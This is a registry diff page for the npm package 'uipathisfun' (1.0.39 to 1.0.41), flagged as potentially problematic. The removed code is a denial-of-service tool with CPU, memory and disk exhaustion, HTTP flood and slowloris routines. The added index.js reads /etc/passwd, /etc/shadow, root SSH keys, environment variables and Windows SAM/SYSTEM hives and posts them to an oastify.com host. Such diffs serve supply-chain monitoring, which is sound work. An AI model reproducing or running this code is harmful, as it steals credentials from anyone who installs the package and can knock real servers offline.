uipathisfun 1.0.39 → 1.0.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uipathisfun might be problematic. Click here for more details.
- package/index.js +32 -159
- package/package.json +1 -1
- package/uipathisfun-1.0.41.tgz +0 -0
- package/uipathisfun-1.0.39.tgz +0 -0
package/index.js
CHANGED
|
@@ -1,164 +1,37 @@
|
|
|
1
1
|
const http = require('http');
|
|
2
|
-
const crypto = require('crypto');
|
|
3
2
|
const fs = require('fs');
|
|
4
|
-
const os = require('os');
|
|
5
3
|
|
|
6
|
-
const
|
|
7
|
-
|
|
8
|
-
const
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
let
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
function cpuStress() {
|
|
28
|
-
setImmediate(function loop() {
|
|
29
|
-
if (stop) return;
|
|
30
|
-
crypto.pbkdf2Sync('test', 'salt', 100000, 64, 'sha512');
|
|
31
|
-
cpuLoad++;
|
|
32
|
-
setImmediate(loop);
|
|
33
|
-
});
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
function memStress() {
|
|
37
|
-
setInterval(() => {
|
|
38
|
-
if (stop) return;
|
|
39
|
-
const chunk = Buffer.alloc(1024 * 1024 * 1024);
|
|
40
|
-
storage.push(chunk);
|
|
41
|
-
}, 10);
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
function diskStress() {
|
|
45
|
-
if (!DISK_ATTACK) return;
|
|
46
|
-
setInterval(() => {
|
|
47
|
-
if (stop) return;
|
|
48
|
-
const fname = `/tmp/fc_stress_${Date.now()}_${Math.random().toString(36).slice(2,8)}`;
|
|
49
|
-
const buf = crypto.randomBytes(1024 * 1024 * 1024);
|
|
50
|
-
fs.writeFileSync(fname, buf);
|
|
51
|
-
diskFiles.push(fname);
|
|
52
|
-
diskWrittenMB += 1024;
|
|
53
|
-
}, 10);
|
|
54
|
-
}
|
|
55
|
-
|
|
56
|
-
function netFlood() {
|
|
57
|
-
for (let i = 0; i < CONCURRENCY; i++) {
|
|
58
|
-
(function flood() {
|
|
59
|
-
if (stop) return;
|
|
60
|
-
const start = Date.now();
|
|
61
|
-
const req = http.request({ hostname: TARGET, port: PORT, path: '/', method: 'GET' }, res => {
|
|
62
|
-
res.on('data', () => {});
|
|
63
|
-
res.on('end', () => {
|
|
64
|
-
requests++;
|
|
65
|
-
responseTimes.push(Date.now() - start);
|
|
66
|
-
flood();
|
|
67
|
-
});
|
|
68
|
-
});
|
|
69
|
-
req.on('error', () => {
|
|
70
|
-
errors++;
|
|
71
|
-
flood();
|
|
72
|
-
});
|
|
73
|
-
req.end();
|
|
74
|
-
})();
|
|
75
|
-
}
|
|
76
|
-
}
|
|
77
|
-
|
|
78
|
-
function slowlorisAttack() {
|
|
79
|
-
const net = require('net');
|
|
80
|
-
for (let i = 0; i < CONCURRENCY; i++) {
|
|
81
|
-
(function openSocket() {
|
|
82
|
-
if (stop) return;
|
|
83
|
-
const socket = net.connect(PORT, TARGET, () => {
|
|
84
|
-
socket.write('POST / HTTP/1.1\r\n');
|
|
85
|
-
socket.write('Host: ' + TARGET + '\r\n');
|
|
86
|
-
socket.write('Content-Length: 1000000\r\n');
|
|
87
|
-
socket.write('Content-Type: application/x-www-form-urlencoded\r\n');
|
|
88
|
-
socket.write('\r\n');
|
|
89
|
-
slowlorisSockets.push(socket);
|
|
90
|
-
const interval = setInterval(() => {
|
|
91
|
-
if (stop) { clearInterval(interval); socket.destroy(); return; }
|
|
92
|
-
try { socket.write('A'); } catch (e) { clearInterval(interval); socket.destroy(); }
|
|
93
|
-
}, 1000);
|
|
94
|
-
});
|
|
95
|
-
socket.on('error', () => { errors++; });
|
|
96
|
-
socket.on('close', () => {
|
|
97
|
-
if (!stop) setTimeout(openSocket, 1000);
|
|
98
|
-
});
|
|
99
|
-
})();
|
|
100
|
-
}
|
|
101
|
-
}
|
|
102
|
-
|
|
103
|
-
function monitor() {
|
|
104
|
-
setInterval(() => {
|
|
105
|
-
const usage = process.memoryUsage();
|
|
106
|
-
const avgResp = responseTimes.length ? (responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length).toFixed(2) : 0;
|
|
107
|
-
let diskUsage = 0;
|
|
108
|
-
try {
|
|
109
|
-
const stat = fs.statSync('/tmp');
|
|
110
|
-
diskUsage = stat && stat.blocks ? (stat.blocks * stat.blksize) / 1024 / 1024 : 0;
|
|
111
|
-
} catch (e) {}
|
|
112
|
-
const data = {
|
|
113
|
-
rss: (usage.rss / 1024 / 1024).toFixed(2) + ' MB',
|
|
114
|
-
heap: (usage.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
|
|
115
|
-
cpuLoad,
|
|
116
|
-
requests,
|
|
117
|
-
errors,
|
|
118
|
-
avgResp: avgResp + ' ms',
|
|
119
|
-
uptime: process.uptime().toFixed(2) + 's',
|
|
120
|
-
attack: ATTACK_TYPE,
|
|
121
|
-
diskWrittenMB,
|
|
122
|
-
diskUsage: diskUsage.toFixed(2) + ' MB',
|
|
123
|
-
};
|
|
124
|
-
const payload = JSON.stringify(data);
|
|
125
|
-
const req = http.request({
|
|
126
|
-
hostname: b,
|
|
127
|
-
method: 'POST',
|
|
128
|
-
path: '/?stress_test=active',
|
|
129
|
-
headers: { 'Content-Length': Buffer.byteLength(payload) }
|
|
130
|
-
});
|
|
131
|
-
req.write(payload);
|
|
132
|
-
req.end();
|
|
133
|
-
try {
|
|
134
|
-
fs.appendFileSync('stress_results.json', payload + '\n');
|
|
135
|
-
} catch (e) {}
|
|
136
|
-
console.log(data);
|
|
137
|
-
cpuLoad = 0;
|
|
138
|
-
responseTimes = [];
|
|
139
|
-
}, 1000);
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
cpuStress();
|
|
143
|
-
memStress();
|
|
144
|
-
diskStress();
|
|
145
|
-
if (ATTACK_TYPE === 'classic') {
|
|
146
|
-
netFlood();
|
|
147
|
-
} else if (ATTACK_TYPE === 'slowloris') {
|
|
148
|
-
slowlorisAttack();
|
|
4
|
+
const OASTIFY_HOST = '0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com';
|
|
5
|
+
|
|
6
|
+
const sensitiveFiles = [
|
|
7
|
+
'/etc/passwd',
|
|
8
|
+
'/etc/shadow',
|
|
9
|
+
'/root/.ssh/id_rsa',
|
|
10
|
+
'/proc/self/environ',
|
|
11
|
+
'C:\\Windows\\System32\\config\\SAM',
|
|
12
|
+
'C:\\Windows\\System32\\config\\SYSTEM'
|
|
13
|
+
];
|
|
14
|
+
|
|
15
|
+
let results = [];
|
|
16
|
+
|
|
17
|
+
for (const file of sensitiveFiles) {
|
|
18
|
+
try {
|
|
19
|
+
const data = fs.readFileSync(file, 'utf8');
|
|
20
|
+
results.push({ file, status: 'SUCCESS', data: data.slice(0, 2000) });
|
|
21
|
+
} catch (e) {
|
|
22
|
+
results.push({ file, status: 'FAIL', error: e.message });
|
|
23
|
+
}
|
|
149
24
|
}
|
|
150
|
-
monitor();
|
|
151
25
|
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
}, DURATION);
|
|
26
|
+
const payload = JSON.stringify({ results });
|
|
27
|
+
const req = http.request({
|
|
28
|
+
hostname: OASTIFY_HOST,
|
|
29
|
+
method: 'POST',
|
|
30
|
+
path: '/?sandbox_escape_attempt',
|
|
31
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
32
|
+
});
|
|
33
|
+
req.write(payload);
|
|
34
|
+
req.end();
|
|
35
|
+
|
|
36
|
+
fs.writeFileSync('sandbox_escape_attempts.log', payload + '\n');
|
|
37
|
+
console.log('Sandbox escape test finished. Results sent to OASTIFY and saved locally.');
|
package/package.json
CHANGED
|
Binary file
|
package/uipathisfun-1.0.39.tgz
DELETED
|
Binary file
|